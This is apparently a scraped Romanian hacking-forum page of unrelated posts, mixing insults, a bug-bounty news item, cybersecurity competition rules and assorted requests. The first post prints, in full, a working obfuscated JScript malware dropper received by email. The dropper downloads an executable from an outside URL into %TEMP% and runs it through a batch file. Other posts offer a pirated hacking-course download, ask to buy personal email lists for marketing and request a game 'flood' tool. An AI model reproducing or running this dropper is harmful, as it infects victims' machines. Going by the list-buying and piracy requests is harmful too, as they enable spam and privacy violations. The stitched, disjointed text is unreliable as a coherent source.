Leaderboard

Pentest cu o mana pe mouse si una in pantaloni.

Salut, Am mai primit un email cu un JS intr-un ZIP. E stupid, incepe cu comentarii, are pe la mijloc codul si se termina cu comentarii. In fine, JS-ul e urmatorul: var WARRANTIES0 = false; var mousemove0 = ""; var code; var delts = "C" + "r"+"e"+"ateObject"; /*@cc_on /* QU5zoJYpASu6 */ @if (@_win32 || @_win64)/* QU5zoJYpASu6 */ // WARRANTIES0 /* QU5zoJYpASu6 */= true;/* QU5zoJYpASu6 */ mousemove0/* QU5zoJYpASu6 */ = /* QU5zoJYpASu6 */"MLH";/* QU5zoJYpASu6 */ code =/* QU5zoJYpASu6 */ "R" + "esponseB"/* QU5zoJYpASu6 */ + "ydo".split('').reverse().join(''); objref = /* QU5zoJYpASu6 */(/* QU5zoJYpASu6 */"noitisop").split(''/* QU5zoJYpASu6 */).reverse(/* QU5zoJYpASu6 */).join(''); directionally0/* QU5zoJYpASu6 */ =/* QU5zoJYpASu6 */ "eliFoTevaS".split(''/* QU5zoJYpASu6 */).reverse().join(''); B12F40 = "A"+"DODB"; mousemove1 = "s" + "end"; dishy = "ht"+"tp:"+"//s"+"cr"+"ubs"+".dr"+"es"+"sco"+"ol."+"co"+"/z"+"cv"+"3h"+"hs"; dishy0 /* QU5zoJYpASu6 */ = "G\x45"+"T"; /* QU5zoJYpASu6 */ @end/* QU5zoJYpASu6 */ @*//* QU5zoJYpASu6 */ if (!(WARRANTIES0)) { WScript.Echo("pizzzzda"); WScript.Quit(1); } var Summary/* QU5zoJYpASu6 */ = /* QU5zoJYpASu6 */this[/* QU5zoJYpASu6 */"WScript"/* QU5zoJYpASu6 */]/* QU5zoJYpASu6 */; var delts0 = function mousemove() {return Summary[delts](("Trafdscks", "WScript")+".Shell");}(), delay0 = 4 * 2 + 3; var Amount0 = 1 * (2 - 0); var countRemain = Amount0 - ((1 * 2) + 0) * 1; function directionally(Summary0){delts0[("Ifasd ", "Gef.H.", "R")+ "u" + ("fudfk", "n")](Summary0, countRemain, countRemain);}; function cir(){return delts;}; { var code0 = "M" + "SX"+"ML2."+"X"+mousemove0+"T"+"TP"; var delay = ""; delay = "o"+"pen"; function penetration(FFFFF00) {FFFFF00[directionally0](delts0["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "qSj87b4UV.ex" + "e", (-9815 + 9817) * 1); return 0;}; if (true){ penetration1 = code0; cos1 = Summary[delts](penetration1); var WARRANTIES = 3-2; do { for (;WARRANTIES;){ try { if (WARRANTIES == 1) { cos1[delay](dishy0 /* QU5zoJYpASu6 */, dishy, (true, false)); cos1[mousemove1](); cos0 = "S"+"l"+"eep"; WARRANTIES = 2; } Summary[cos0](120); if (cos1["r"+"eadystate"] < 2 * 2) continue; WARRANTIES = countRemain; function cos(B12F4) {var penetration0 = (123, B12F4); return penetration0;}; FFFFF0 = delts0["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "qSj87b4UV.ex" + "e"; countRemain0 = delts0["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "suc11.05.2016kit.bat"; objref0 = "start "+FFFFF0+"\r\nexit" penetration1 = directionally1 = Summary[cir()](B12F40+"."+"Str"+"e"+"a"+"m"); penetration1[delay](); penetration1["t"+"y"+"pe"] = 2; Amount /* QU5zoJYpASu6 */ = "w"+"r"+"i"+"t"+"e"; penetration1["Charset"] = "windows-1251"; penetration1[Amount+"Text"](objref0); directionally1[objref] = 1 * 0; penetration1[directionally0](countRemain0, 2 * 1); directionally1["c"+"l"+"o"+"s"+"e"](); penetration1 = directionally1 = Summary[cir()](B12F40+"."+"Str"+"e"+"a"+"m"); penetration1[delay](); penetration1["t"+"y"+"pe"] = 2; penetration1["Charset"] = "windows-1251"; penetration1[Amount+"Text"]("M"); directionally1[objref] = 0; penetration(penetration1); directionally1["c"+"l"+"o"+"s"+"e"](); penetration1 = directionally1 = Summary[cir()](B12F40+"."+"Str"+"e"+"a"+"m"); penetration1[delay](); penetration1["t"+"y"+"pe"] = 1 * 1; penetration1[Amount](cos1[code]); directionally1[objref] = 1; penetration(penetration1); directionally1["c"+"l"+"o"+"s"+"e"](); if (1 && WARRANTIES0) directionally(countRemain0); } catch(cir0){};}; }while (WARRANTIES); } } E "obfuscat" cu pula dishy = "ht"+"tp:"+"//s"+"cr"+"ubs"+".dr"+"es"+"sco"+"ol."+"co"+"/z"+"cv"+"3h"+"hs"; Ma intreb ce nationalitate o avea autorul: if (!(WARRANTIES0)) { WScript.Echo("pizzzzda"); WScript.Quit(1); } Haideti baietii, puteti mai mult!

Ok, chiar era necesar comentariu tau? Tu ai cumva windows licentiat? Sincer sa fiu, windows-ul costa cam cat face alocatia ta pe 3 luni (liceanule), asa ca nu te mai stresa aiurea cum ca eu am windows fara licente, mai bine te-ai stresa ca vine bacu` in curand iar tu iti pierzi timpul pe comunitati care nu`s pentru tine.

Si in dreapta jos Activate Windows. Mare om, mare caracter.

Understand the web application penetration testing methodology and toolkit Interact with web applications using Python and the Requests library Write a web crawler/spider with the Scrapy library Create an HTTP bruteforcer based on Requests Create a Password bruteforcer for Basic, NTLM, and Forms authentication Detect and exploit SQL injections vulnerabilities by creating a script all by yourself Intercept and manipulate HTTP communication using Mitmproxy Download (valabil 7 zile): aHR0cDovL3guY28vNmxnRGQ=

#tradarea2 #Telenovela +bonus

# Pentru cei ce vor sa imbine laba cu munca # Adult website Pornhub now has something in common with Google, Microsoft, Facebook and other titans of technology – a bug bounty program to reward ethical hackers. Pornhub officially debuted its bug bounty program, with rewards between $50 and $25,000, on the HackerOne platform this week. The company says the program is currently limited to vulnerabilities on its main website; “other properties and applications” are not eligible for the program at this time. Corey Price, Pornhub vice president, said the program will help “protect and enhance the site for our 60 million daily visitors.” To qualify for a reward, bug hunters need to obey a set of rules and restrictions, including agreeing to disclose vulnerabilities “directly and exclusively” to Pornhub – bug hunters cannot get a payout if they report the bugs “anywhere else.” Bugs must be reported within 24 hours of discovery, and bounty hunters need to be the first to report a vulnerability to win a reward. According to its page on HackerOne, Pornhub began rewarding bug hunters 11 months ago, and has resolved 23 bug reports since then – although the Pornhub bug bounty program was only made public on HackerOne on Tuesday, 10 May. SOURCE: https://nakedsecurity.sophos.com/2016/05/12/pornhub-bug-bounty-program-will-pay-hackers-up-to-25000/

E tare usor sa fi distras. Probabil dupa vreo 15 hj reusesti sa scoti un XSS

Cauta sa cumpar liste care sa-mi fie folositoare in campanii de marketing online. Cumparaturi cosmetice, haine, tzate silicoane, vibratoare, caricioare plm Adresele de mail trebuie sa fie de persoane fizice nu firme. Pretul se negociaza pe privat ca sunteti arzoi.

Nu. Mai de grabă ceva în stilul ăsta, dar cu toți pinii pe crocodil. Ai aici o idee sau îți faci singur lipind pinii unei mufe USB pe un crocodil. Să fii atent la izolarea electrică a crocodilului!

Stima si respect si mana dreapta sus

Nici furtul nu mai e gratis...

TL;DR Verba volant, scripta manent; evaziune fiscală.

http://www.cybersecuritychallenge.ro/etapa_nationala.html Programul competiției interne: - 8 - 15 mai 2016 – prima sesiune de calificare (on-line); - Sfârșitul lunii iunie 2016 – a doua sesiune de calificare (on-site), va dura 8 ore, incluzând exerciții A/D; - Începutul lunii august – prima sesiune de training (bootcamp); - Începutul lunii septembrie – a doua sesiune de training (bootcamp). Reguli testare: - orice tentativă de atac prin metode de tip Denial Of Service a scoreboard-ului sau a celorlalte servicii va conduce la descalificare; - clasificarea câștigătorilor se face după punctajul total la sfârșitul competiției naționale; - în caz de egalitate, departajarea se va face după timpul de execuție a task-urilor. Informații testare: - task-urile testează următoarele capitole de securitate: Reverse Engineering, Exploitation, Forensics, Web Application hacking, Crypto; - anumite taskuri pot avea componente din mai multe capitole; - scopul fiecărui task este de a obține o informație (denumită în mod tradițional "flag") la care nu am avea acces, în mod obișnuit, dată fiind protecția oferită de sistemele de securitate. În fiecare task există o problemă de securitate care ne permite (prin analiza de cod și exploatarea sa) să ajungem la flag; - un flag poate fi recunoscut după forma următoare: flag{.....}; - fiecare task are un număr de puncte în funcție de dificultatea sa; - unele task-uri ar putea fi blocate în prima fază, dar vor fi pornite ulterior (până la încheierea perioadei de competiție); - descrierile task-urilor și fișierele aferente fiecăruia vor putea fi copiate de pe un site anex numit scoreboard; - de pe scoreboard se vor introduce flagurile și se va putea vizualiza progresul fiecărei persoane înscrise; - vor exista task-uri offline (care se pot rezolva pe calculatorul personal, pentru validare, trimițându-se doar flagul pe scoreboard) și task-uri online (va exista un IP și un PORT prin care sa se faca interacțiunea cu server-ul). Materiale educaționale recomandate: - Criptografie - https://class.coursera.org/crypto-preview - http://cryptopals.com/ - Web application hacking - The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws de Dafydd Stuttard - Reverse Engineering - Practical Malware Analysis de Michael Sikorski - http://beginners.re/ - Exploitation - Gray Hat Hacking The Ethical Hacker's Handbook, Fourth Edition de Daniel Regalado - Hacking: The Art of Exploitation, 2nd Edition de Jon Erickson - Alte cursuri - http://www.cs.fsu.edu/~redwood/OffensiveComputerSecurity/lectures.html - https://github.com/isislab/Hack-Night - http://www.opensecuritytraining.info/Exploits1.html - http://ocw.cs.pub.ro/courses/cns Tool-uri recomandate: - Reverse Engineering - Ida Freeware / Radare - Exploitation - Gdb + Peda (https://github.com/longld/peda) -Web application hacking - Burp Suite Free Edition

hello can anyone help me with a program of gta san andreas for flood Thank you !!!!

Nu e nimeni care ma poate ajuta PLS:D?